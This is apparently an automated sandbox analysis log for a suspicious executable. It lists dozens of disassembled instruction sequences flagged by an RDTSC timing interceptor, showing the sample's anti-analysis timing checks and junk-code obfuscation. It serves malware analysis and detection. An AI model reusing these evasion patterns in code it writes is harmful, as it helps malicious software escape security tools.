Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65AC342 second address: 65AC347 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65AC347 second address: 65AC34C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65AB5C6 second address: 65AB5DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jnl 00007FE8C4E0119Ch 0x0000000b popad 0x0000000c push eax 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65AB5DE second address: 65AB5E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65AF5F3 second address: 65AF603 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E0119Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65AF603 second address: 65AF69E instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE8C4E5DB34h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007FE8C4E5DB28h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 jmp 00007FE8C4E5DB2Fh 0x0000002c push 00000000h 0x0000002e mov ebx, dword ptr [ebp+122D3D34h] 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push edx 0x00000039 call 00007FE8C4E5DB28h 0x0000003e pop edx 0x0000003f mov dword ptr [esp+04h], edx 0x00000043 add dword ptr [esp+04h], 0000001Ch 0x0000004b inc edx 0x0000004c push edx 0x0000004d ret 0x0000004e pop edx 0x0000004f ret 0x00000050 mov edi, 218A6D00h 0x00000055 xchg eax, esi 0x00000056 pushad 0x00000057 push edi 0x00000058 jmp 00007FE8C4E5DB2Dh 0x0000005d pop edi 0x0000005e push eax 0x0000005f push edx 0x00000060 js 00007FE8C4E5DB26h 0x00000066 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65AE694 second address: 65AE698 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65AE698 second address: 65AE717 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE8C4E5DB26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ecx 0x0000000e popad 0x0000000f nop 0x00000010 mov dword ptr [ebp+124763EEh], ecx 0x00000016 mov edi, dword ptr [ebp+122D3AACh] 0x0000001c push dword ptr fs:[00000000h] 0x00000023 mov dword ptr [ebp+122D2E88h], edi 0x00000029 mov dword ptr fs:[00000000h], esp 0x00000030 push 00000000h 0x00000032 push ebx 0x00000033 call 00007FE8C4E5DB28h 0x00000038 pop ebx 0x00000039 mov dword ptr [esp+04h], ebx 0x0000003d add dword ptr [esp+04h], 00000018h 0x00000045 inc ebx 0x00000046 push ebx 0x00000047 ret 0x00000048 pop ebx 0x00000049 ret 0x0000004a adc edi, 10C27447h 0x00000050 mov eax, dword ptr [ebp+122D0759h] 0x00000056 mov di, dx 0x00000059 push FFFFFFFFh 0x0000005b ja 00007FE8C4E5DB2Ch 0x00000061 nop 0x00000062 pushad 0x00000063 jg 00007FE8C4E5DB28h 0x00000069 push eax 0x0000006a push edx 0x0000006b jne 00007FE8C4E5DB26h 0x00000071 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65AE717 second address: 65AE71B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65AF883 second address: 65AF89A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E5DB33h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65B06E8 second address: 65B06EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65B06EC second address: 65B06F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65B06F6 second address: 65B0773 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dword ptr [ebp+122D1E20h], edx 0x00000010 push dword ptr fs:[00000000h] 0x00000017 push 00000000h 0x00000019 push edi 0x0000001a call 00007FE8C4E01198h 0x0000001f pop edi 0x00000020 mov dword ptr [esp+04h], edi 0x00000024 add dword ptr [esp+04h], 00000016h 0x0000002c inc edi 0x0000002d push edi 0x0000002e ret 0x0000002f pop edi 0x00000030 ret 0x00000031 mov bl, EEh 0x00000033 mov dword ptr fs:[00000000h], esp 0x0000003a jp 00007FE8C4E0119Fh 0x00000040 jg 00007FE8C4E01199h 0x00000046 mov eax, dword ptr [ebp+122D0DB9h] 0x0000004c push 00000000h 0x0000004e push ebx 0x0000004f call 00007FE8C4E01198h 0x00000054 pop ebx 0x00000055 mov dword ptr [esp+04h], ebx 0x00000059 add dword ptr [esp+04h], 00000014h 0x00000061 inc ebx 0x00000062 push ebx 0x00000063 ret 0x00000064 pop ebx 0x00000065 ret 0x00000066 push FFFFFFFFh 0x00000068 mov edi, dword ptr [ebp+122D3C6Ch] 0x0000006e push eax 0x0000006f push esi 0x00000070 push eax 0x00000071 push edx 0x00000072 pushad 0x00000073 popad 0x00000074 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65B2560 second address: 65B256A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65B256A second address: 65B256E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65B265A second address: 65B2664 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE8C4E5DB2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65B5A52 second address: 65B5A58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65B5A58 second address: 65B5A78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E5DB36h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65B5A78 second address: 65B5B26 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push esi 0x0000000b call 00007FE8C4E01198h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], esi 0x00000015 add dword ptr [esp+04h], 00000017h 0x0000001d inc esi 0x0000001e push esi 0x0000001f ret 0x00000020 pop esi 0x00000021 ret 0x00000022 pushad 0x00000023 jng 00007FE8C4E011ADh 0x00000029 jmp 00007FE8C4E011A7h 0x0000002e add ecx, dword ptr [ebp+122D3E08h] 0x00000034 popad 0x00000035 push 00000000h 0x00000037 mov dword ptr [ebp+122D1E71h], eax 0x0000003d push 00000000h 0x0000003f push 00000000h 0x00000041 push esi 0x00000042 call 00007FE8C4E01198h 0x00000047 pop esi 0x00000048 mov dword ptr [esp+04h], esi 0x0000004c add dword ptr [esp+04h], 0000001Bh 0x00000054 inc esi 0x00000055 push esi 0x00000056 ret 0x00000057 pop esi 0x00000058 ret 0x00000059 clc 0x0000005a xchg eax, esi 0x0000005b jmp 00007FE8C4E011A8h 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007FE8C4E011A8h 0x00000068 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65B5B26 second address: 65B5B2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65B5B2C second address: 65B5B30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65B6A13 second address: 65B6A56 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FE8C4E5DB2Ch 0x00000008 je 00007FE8C4E5DB26h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 sub bh, FFFFFF85h 0x00000014 mov bx, ax 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b sub dword ptr [ebp+122D5A05h], ecx 0x00000021 xchg eax, esi 0x00000022 jmp 00007FE8C4E5DB32h 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a jl 00007FE8C4E5DB2Ch 0x00000030 jp 00007FE8C4E5DB26h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65B6B99 second address: 65B6B9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65B8A17 second address: 65B8A21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FE8C4E5DB26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65B8A21 second address: 65B8A25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65B8A25 second address: 65B8A8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007FE8C4E5DB28h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 00000014h 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 mov ebx, dword ptr [ebp+122D3CB0h] 0x0000002b add dword ptr [ebp+122D1E25h], ecx 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push edi 0x00000036 call 00007FE8C4E5DB28h 0x0000003b pop edi 0x0000003c mov dword ptr [esp+04h], edi 0x00000040 add dword ptr [esp+04h], 00000017h 0x00000048 inc edi 0x00000049 push edi 0x0000004a ret 0x0000004b pop edi 0x0000004c ret 0x0000004d push 00000000h 0x0000004f mov edi, dword ptr [ebp+122D3729h] 0x00000055 xchg eax, esi 0x00000056 push edx 0x00000057 pushad 0x00000058 jng 00007FE8C4E5DB26h 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65B8A8C second address: 65B8AA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 jmp 00007FE8C4E0119Dh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65B9B38 second address: 65B9B3D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65B9B3D second address: 65B9BA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007FE8C4E01198h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 push edi 0x00000025 mov ebx, edi 0x00000027 pop edi 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c mov edi, dword ptr [ebp+12452AB4h] 0x00000032 and ebx, dword ptr [ebp+122D1E71h] 0x00000038 xchg eax, esi 0x00000039 pushad 0x0000003a pushad 0x0000003b jmp 00007FE8C4E011A9h 0x00000040 js 00007FE8C4E01196h 0x00000046 popad 0x00000047 push ebx 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65B9D27 second address: 65B9D2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65BBCF3 second address: 65BBCF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65BECE5 second address: 65BECE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65CB211 second address: 65CB218 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65CB378 second address: 65CB37E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 6568D6F second address: 6568D8F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E011A3h 0x00000007 jg 00007FE8C4E01196h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65D2927 second address: 65D2931 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE8C4E5DB2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65D2931 second address: 65D293E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jnc 00007FE8C4E01196h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65D4AB4 second address: 63EDEFD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E5DB2Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 05534900h 0x00000010 jmp 00007FE8C4E5DB33h 0x00000015 push dword ptr [ebp+122D0B05h] 0x0000001b jnp 00007FE8C4E5DB31h 0x00000021 jmp 00007FE8C4E5DB2Bh 0x00000026 call dword ptr [ebp+122D2E26h] 0x0000002c pushad 0x0000002d sub dword ptr [ebp+122D2D49h], edx 0x00000033 xor eax, eax 0x00000035 jnc 00007FE8C4E5DB2Ch 0x0000003b jne 00007FE8C4E5DB2Ch 0x00000041 xor dword ptr [ebp+122D1D53h], esi 0x00000047 mov edx, dword ptr [esp+28h] 0x0000004b mov dword ptr [ebp+122D1D53h], ecx 0x00000051 mov dword ptr [ebp+122D3BF8h], eax 0x00000057 sub dword ptr [ebp+122D1E6Bh], edi 0x0000005d mov esi, 0000003Ch 0x00000062 mov dword ptr [ebp+122D2C1Fh], ebx 0x00000068 jc 00007FE8C4E5DB27h 0x0000006e stc 0x0000006f add esi, dword ptr [esp+24h] 0x00000073 ja 00007FE8C4E5DB33h 0x00000079 lodsw 0x0000007b mov dword ptr [ebp+122D1DCFh], edi 0x00000081 add eax, dword ptr [esp+24h] 0x00000085 pushad 0x00000086 mov al, 9Ah 0x00000088 push esi 0x00000089 add dword ptr [ebp+122D1D3Dh], ecx 0x0000008f pop edx 0x00000090 popad 0x00000091 mov ebx, dword ptr [esp+24h] 0x00000095 stc 0x00000096 jmp 00007FE8C4E5DB31h 0x0000009b nop 0x0000009c push eax 0x0000009d push edx 0x0000009e pushad 0x0000009f jmp 00007FE8C4E5DB2Fh 0x000000a4 js 00007FE8C4E5DB26h 0x000000aa popad 0x000000ab rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65D6A95 second address: 65D6AB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FE8C4E0119Ah 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007FE8C4E01196h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65D6AB0 second address: 65D6AB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65DBB9C second address: 65DBBB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE8C4E011A9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65DC125 second address: 65DC132 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007FE8C4E5DB26h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65DC132 second address: 65DC138 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65DC138 second address: 65DC148 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FE8C4E5DB28h 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65DC148 second address: 65DC14E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65DC2EF second address: 65DC322 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FE8C4E5DB26h 0x0000000a jmp 00007FE8C4E5DB36h 0x0000000f popad 0x00000010 jo 00007FE8C4E5DB32h 0x00000016 je 00007FE8C4E5DB26h 0x0000001c jng 00007FE8C4E5DB26h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65DC322 second address: 65DC32A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65DC32A second address: 65DC32E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65DC32E second address: 65DC332 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65DC8C8 second address: 65DC8D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FE8C4E5DB26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65DC8D2 second address: 65DC8F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E0119Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jmp 00007FE8C4E0119Fh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65DCA86 second address: 65DCA8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65DCA8C second address: 65DCA92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65DCA92 second address: 65DCABA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007FE8C4E5DB3Eh 0x0000000b push edi 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65DCC49 second address: 65DCC66 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007FE8C4E011A2h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65DCC66 second address: 65DCC6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65DCC6B second address: 65DCC76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007FE8C4E01196h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65DCE08 second address: 65DCE0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65DCE0C second address: 65DCE16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FE8C4E01196h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65E2303 second address: 65E2307 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65E2307 second address: 65E2312 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65E2312 second address: 65E2325 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FE8C4E5DB26h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007FE8C4E5DB26h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65E2698 second address: 65E269C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65E269C second address: 65E26D8 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FE8C4E5DB26h 0x00000008 jl 00007FE8C4E5DB26h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007FE8C4E5DB2Fh 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 jmp 00007FE8C4E5DB39h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65E280A second address: 65E283E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E011A7h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FE8C4E011A1h 0x00000010 pop ecx 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65E283E second address: 65E2842 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65E29C5 second address: 65E29D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FE8C4E01196h 0x0000000a jp 00007FE8C4E01196h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65E59C8 second address: 65E59EF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jbe 00007FE8C4E5DB26h 0x0000000f jmp 00007FE8C4E5DB36h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65E59EF second address: 65E59F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65655AD second address: 65655B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65655B3 second address: 65655B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65E8B68 second address: 65E8B6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
